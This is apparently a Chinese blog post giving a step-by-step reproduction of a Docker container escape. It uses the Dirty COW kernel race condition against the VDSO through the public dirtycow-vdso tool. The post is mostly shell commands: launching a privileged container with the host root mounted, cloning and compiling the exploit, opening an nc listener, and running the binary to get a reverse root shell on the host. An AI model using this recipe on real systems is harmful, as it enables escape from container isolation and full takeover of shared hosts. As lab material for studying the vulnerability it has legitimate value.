Loading ...
内核漏洞结合 VDSO 的 Docker 容器逃逸

一、漏洞原理与测试目标

  • 漏洞本质:Linux 内核写时复制(COW)机制的竞争条件漏洞,允许低权限用户篡改只读内存映射(如 VDSO 虚拟动态共享对象),实现权限提升。

  • Docker 逃逸逻辑:容器与宿主机共享内核,通过特权容器突破隔离,利用漏洞篡改宿主机 VDSO 内存,获取宿主机 root 权限。

  • 测试目标:通过scumjr/dirtycow-vdso工具,从容器逃逸到宿主机,获取反向 shell。

二、环境准备(宿主机)

1. 内核版本验证(关键!)

脏牛漏洞仅影响 Linux 内核 2.6.22~4.8.3,需确认宿主机内核:

# 宿主机执行  
uname -r  
# 需输出如:4.4.0-31-generic(已知兼容版本)  

2. 安装 Docker 环境

# 宿主机执行  
sudo apt-get update  
sudo apt-get install -y docker.io  
sudo systemctl start docker  
sudo systemctl enable docker  

三、漏洞复现步骤

1. 启动特权容器(突破隔离的核心)

# 宿主机执行,创建带特权模式+挂载宿主机根目录的容器  
sudo docker run --privileged -v /:/host -it ubuntu:18.04 /bin/bash  
# 参数说明:  
# --privileged:赋予容器接近宿主机root的权限,允许访问内核资源  
# -v /:/host:将宿主机根目录挂载到容器的/host,方便操作宿主机文件  
# ubuntu:18.04:基础镜像(兼容编译环境)  

2. 容器内安装依赖工具

# 容器内root用户执行,安装编译所需工具  
apt-get update && apt-get install -y gcc make git nasm vim-common  
# 工具说明:  
# gcc:编译C代码;make:构建工具;git:克隆代码  
# nasm:汇编器(处理payload.s);vim-common:含xxd(二进制转C头文件)  

3. 克隆并编译 POC(漏洞利用程序)

# 容器内执行,克隆漏洞利用代码  
git clone https://github.com/scumjr/dirtycow-vdso.git  
cd dirtycow-vdso  

# 编译POC(生成0xdeadbeef可执行文件)  
make

4. 执行漏洞利用(获取宿主机反向 shell)

步骤 1:宿主机开启监听(接收反弹 shell)

在宿主机新终端执行(替换 IP 为宿主机实际 IP,如 192.168.226.133):

nc -lvvp 1234  # 监听1234端口,等待容器连接  

步骤 2:容器内运行 POC(发起攻击)

# 容器内执行,向宿主机监听端口发送反向shell  
./0xdeadbeef 192.168.226.133:1234  

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇